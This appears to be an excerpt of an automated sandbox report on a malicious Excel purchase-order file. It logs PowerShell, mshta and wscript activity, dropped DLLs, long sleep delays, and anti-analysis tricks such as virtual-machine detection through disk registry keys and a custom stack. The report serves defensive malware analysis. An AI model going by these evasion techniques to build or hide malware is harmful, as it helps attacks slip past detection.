Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls	Stream path 'MBD014EF417/Package' entropy: 7.99626852364 (max. 8.0)
Source: #U3010TW-S PO#U3011PO#3311-20241118003.xls	Stream path 'Workbook' entropy: 7.99877858788 (max. 8.0)
Source: ~DF7DC820911769618A.TMP.0.dr	Stream path 'Package' entropy: 7.99441817726 (max. 8.0)
Source: D6330000.0.dr	Stream path 'MBD014EF417/Package' entropy: 7.99441817726 (max. 8.0)
Source: D6330000.0.dr	Stream path 'Workbook' entropy: 7.99834135346 (max. 8.0)

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Switches to a custom stack to bypass stack traces

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	API/Special instruction interceptor: Address: 7731C7BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	API/Special instruction interceptor: Address: 7731BFFA

Source: C:\Users\user\AppData\Roaming\vtjrhji	Memory allocated: 1B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vtjrhji	Memory allocated: 2380000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\vtjrhji	Memory allocated: 210000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 6_2_000007FE89AA3122 rdtsc

6_2_000007FE89AA3122

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\vtjrhji	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1422	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5891	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2298	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5090	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1782	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 467	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1583
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4453
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 597
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1982
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2368
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 541
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 927
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1420
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2499
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 533

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\03wlztsz\03wlztsz.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\mffkkngw\mffkkngw.dll			Jump to dropped file

Source: C:\Windows\System32\mshta.exe TID: 3564	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3756	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3856	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3788	Thread sleep count: 2298 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3788	Thread sleep count: 5090 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3832	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3836	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3776	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 804	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 772	Thread sleep count: 1583 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1972	Thread sleep count: 4453 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1472	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3012	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3012	Thread sleep time: -2400000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3012	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2164	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1884	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\mshta.exe TID: 2032	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1288	Thread sleep count: 597 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1288	Thread sleep count: 1982 > 30
